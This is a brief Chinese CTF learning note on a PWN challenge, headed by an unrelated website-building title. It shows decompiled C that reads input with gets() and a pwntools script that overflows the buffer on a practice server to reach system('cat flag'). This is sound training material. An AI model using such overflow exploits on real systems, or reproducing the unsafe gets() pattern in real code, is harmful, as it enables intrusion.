企业官网建设流程全解析

第一次打CTF——PWN篇学习笔记13

checksec一下没有特殊的保护机制，从ida中可以看到，只要v5不等于0即可得到flag

int __fastcall main(int argc, const char **argv, const char **envp) { _BYTE v4[44]; // [rsp+0h] [rbp-30h] BYREF int v5; // [rsp+2Ch] [rbp-4h] ​ setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); puts("Input something"); v5 = 0; gets(v4); if ( v5 ) { puts("You win."); system("cat flag"); } return 0; }

from pwn import * import struct ​ context.arch = 'amd64' context.os = 'linux' ​ #io = process('./pwn') io = remote("node5.anna.nssctf.cn",26780) ​ payload = b'A' * 0x30 ​ io.sendline(payload) ​ io.interactive()